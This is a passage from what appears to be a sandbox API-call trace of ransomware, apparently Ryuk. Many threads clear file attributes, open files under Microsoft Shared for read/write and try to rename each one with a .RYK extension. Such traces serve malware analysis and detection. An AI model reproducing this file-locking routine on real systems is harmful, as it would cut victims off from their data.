	[0124.152] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT", dwFileAttributes=0x80) returned 0
	[0124.155] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0124.155] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0124.156] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 127
	os_tid = 0x388

	[0124.543] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT", dwFileAttributes=0x80) returned 0
	[0124.549] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0124.561] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0124.562] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 128
	os_tid = 0x5ec

	[0124.570] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT", dwFileAttributes=0x80) returned 0
	[0124.880] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0124.881] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0124.881] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 129
	os_tid = 0x40c

	[0124.574] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT", dwFileAttributes=0x80) returned 0
	[0124.883] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0124.884] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0124.884] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 130
	os_tid = 0x308

	[0124.575] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", dwFileAttributes=0x80) returned 0
	[0124.886] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0124.886] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0124.886] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 131
	os_tid = 0x73c

	[0124.577] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", dwFileAttributes=0x80) returned 0
	[0124.888] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0124.888] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0124.888] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 132
	os_tid = 0x764

	[0124.579] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", dwFileAttributes=0x80) returned 0
	[0124.890] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0124.891] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0124.891] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 133
	os_tid = 0x66c

	[0124.582] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", dwFileAttributes=0x80) returned 0
	[0124.894] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0124.894] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0124.895] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 134
	os_tid = 0x4e8

	[0124.585] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", dwFileAttributes=0x80) returned 0
	[0124.897] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0124.897] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0124.898] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 135
	os_tid = 0x120

	[0124.588] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", dwFileAttributes=0x80) returned 0
	[0124.590] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0124.590] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0124.591] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 136
	os_tid = 0xbf8

	[0124.593] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", dwFileAttributes=0x80) returned 0
	[0124.901] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0124.901] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0124.902] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 137
	os_tid = 0x3d4

	[0124.594] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", dwFileAttributes=0x80) returned 0
	[0124.904] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0124.905] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0124.905] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 138
	os_tid = 0x524

	[0124.596] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", dwFileAttributes=0x80) returned 0
	[0124.911] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0124.923] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0124.924] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 139
	os_tid = 0x504

	[0124.599] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml", dwFileAttributes=0x80) returned 0
	[0124.969] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0124.969] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0124.970] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 140
	os_tid = 0x114

	[0124.972] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml", dwFileAttributes=0x80) returned 0
	[0124.972] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0124.973] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0124.973] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 141
	os_tid = 0x42c


Thread:
	id = 142
	os_tid = 0x68c

	[0125.130] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi", dwFileAttributes=0x80) returned 0
	[0125.435] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0125.658] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0125.658] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 143
	os_tid = 0x55c

	[0125.149] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi", dwFileAttributes=0x80) returned 0
	[0125.436] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0125.656] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0125.656] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 144
	os_tid = 0x854

	[0125.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi", dwFileAttributes=0x80) returned 0
	[0125.437] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0125.654] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0125.654] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 145
	os_tid = 0x8a4

	[0125.158] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi", dwFileAttributes=0x80) returned 0
	[0125.437] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0125.652] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0125.653] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 146
	os_tid = 0x8b4

	[0125.160] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi", dwFileAttributes=0x80) returned 0
	[0125.438] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0125.438] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0125.439] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 147
	os_tid = 0xbfc

	[0125.441] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi", dwFileAttributes=0x80) returned 0
	[0125.660] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0125.881] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0125.882] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 148
	os_tid = 0x7ac

	[0125.442] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi", dwFileAttributes=0x80) returned 0
	[0125.660] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0125.871] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0125.871] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 149
	os_tid = 0xbe8

	[0125.445] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi", dwFileAttributes=0x80) returned 0
	[0125.661] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0125.662] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0125.662] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 153
	os_tid = 0x340

	[0126.146] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi", dwFileAttributes=0x80) returned 0
	[0126.146] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0126.147] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0126.147] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 154
	os_tid = 0xac8

	[0126.800] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", dwFileAttributes=0x80) returned 0
	[0126.803] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0126.803] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0126.803] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 155
	os_tid = 0xae8

	[0126.801] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml", dwFileAttributes=0x80) returned 0
	[0126.807] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0126.808] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0126.808] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 156
	os_tid = 0x594

